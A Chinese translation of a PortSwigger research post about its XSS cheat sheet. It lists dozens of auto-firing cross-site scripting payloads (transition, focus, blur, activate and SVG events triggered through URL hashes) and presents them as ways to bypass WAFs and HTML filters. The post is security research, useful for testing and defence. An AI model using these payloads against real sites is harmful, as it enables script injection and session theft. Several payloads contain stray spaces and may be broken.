PortSwigger的全新XSS速查表

iso60001  1668天前

22.png

我们以一种简单易懂的演示来呈现这些信息。每个攻击向量都有验证PoC,并明确告知它能在哪个浏览器上利用成功。

为了确保这个速查表的质量,我使用自动模糊测试和手动探测相结合的方法尽可能多地挖掘攻击向量,这也让我受益匪浅,发现了相当多的新型XSS向量,希望这能帮助你有效绕过WAF和HTML过滤器(黑名单机制)。在这篇文章中,我将展示一些速查表的亮点。

首先,你可能知道Mario Heiderich使用CSS动画自动执行任何标签的技术:

<style>@keyframes x{}</style>
<b style="animation-name:x" onanimationstart="alert(1)"></b>

在研究后我发现,ontransitionend事件配合:target选择器可以达到相同的效果。通过:target选择器,你可使用URL中的hash属性作为CSS id的目标。你必须指定xhash属性,以便:target选择器更改元素的颜色。

<style>
:target {
    color:red;
}
/*page.html#x*/
</style>
<x id=x style="transition:color 1s" ontransitionend=alert(1)>

ontransitionend事件能在Chrome中生效,而Firefox支持更多可以自动执行的事件。任意标签中的ontransitionrun事件都能在Firefox中触发(如上所示),ontransitioncancel事件也行,但需要修改URL。

你也可以使用iframe或新的窗口来修改URL的hash属性。虽然浏览器SOP(同源策略)会阻止对跨域URL的访问,但是,你先可以修改位置跨域,再发送带有hash属性的相同URL来触发事件。

<style>
:target {
   transform: rotate(180deg);
}
</style>
<x id=x style="transition transform 10s" ontransitioncancel=alert(1)>
URL: page.html#
URL: page.html#x
URL: page.html#

考虑到hash属性,我开始测试类似的XSS向量。结果发现,当在URL中使用了和相关id对应的hash属性时,某些元素会触发focus事件。这意味着像input这样的表单元素不需要autofocus属性来自动触发。

<input onfocus=alert(1) id=x>
someurl.php#x

其他元素也可使用相同的技巧:

<img usemap=#x><map name="x"><area href onfocus=alert(1) id=x>
<iframe id=x on focus=alert(1)>
<embed id=x onfocus=alert(1) type=text/html>
<ob ject id=x onfocus=alert(1) type=text/html>
someurl.php#x

因为focus事件可在没有autofocus的支持下触发,所以我们可以在另一个元素的中使用autofocus,以触发每个支持focus技巧的元素中的blur事件。

<iframe id=x onblur=alert(1)></if rame><input autofocus>
<input onblur=alert(1) id=x><input autofocus>
<textarea onblur=alert(1) id=x></textarea><input autofocus>
<button onblur=alert(1) id=x></button><input autofocus>
<select onblur=alert(1) id=x></select><input autofocus>
someurl.php#x

接着我开始查看使用了此技巧却没有触发focus事件的标签,还有其他触发的办法吗?我测试了锚标签,如果你给它一个href属性它就会触发focus事件;如果你给它一个tabindex属性,它也会触发事件而不需要href。最后我注意到,tabindex属性几乎对任何元素都有效!包括自定义的元素:

<a onfocus=alert(1) id=x href>
<xss onfocus=alert(1) id=x tabindex=1>
<xss onblur=alert(1) id=x tabindex=1><input autofocus>
someurl.php#x

上述技巧对link元素不起作用,但添加了一个带有display:block的样式可强制展示元素并触发focus事件。这在body中有效,但在head中无效。如果你在link元素中发现了XSS,就可以使用我之前公布的accesskey技巧

<link onfocus=alert(1) id=x tabindex=1 style=display:block>
someurl.php#x

这里还有更多基于focus的事件。例如,onfocusin的行为类似于onfocusonfocusout的行为类似于onblur,同时这些事件也适用于自定义标签。

<a onfocusin=alert(1) id=x tabindex=1>
<xss onfocusin=alert(1) id=x tabindex=1>
<xss onfocusout="alert(1)" id="x" tabindex="1"><input autofocus>
someurl.php#x

IE浏览器也有一些可利用事件,onactivate可以像onfocus一样生效(在自定义标签中也可以),而onbeforeactivate可在元素被激活之前触发。

<a onactivate=alert(1) id=x tabindex=1>
<div onactivate=alert(1) id=x tabindex=1>
<xss onactivate=alert(1) id=x tabindex=1>
<a onbeforeactivate=alert(1) id=x tabindex=1>
someurl.php#x

IE还有ondeactivateonbeforedeactivate事件可以利用,为了自动执行这些事件,你需要修改两次hash属性,因为当首个元素被聚焦时,autofocus并不会工作。

<a ondeactivate=alert(1) id=x tabindex=1></a><input id=y autofocus>
<xss ondeactivate=alert(1) id=x tabindex=1></xss><input id=y autofocus>
<a onbeforedeactivate=alert(1) id=x tabindex=1></a><input id=y autofocus>
someurl.php#x
someurl.php#y

最后,我想展示一个可在Chrome中生效的SVG标签攻击向量:

<svg><discard onbegin=alert(1)>

如果你想了解更多的攻击向量,可以点击这里查看完整列表。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://portswigger.net/research/one-xss-cheatsheet-to-rule-them-all

最新评论

昵称
邮箱
提交评论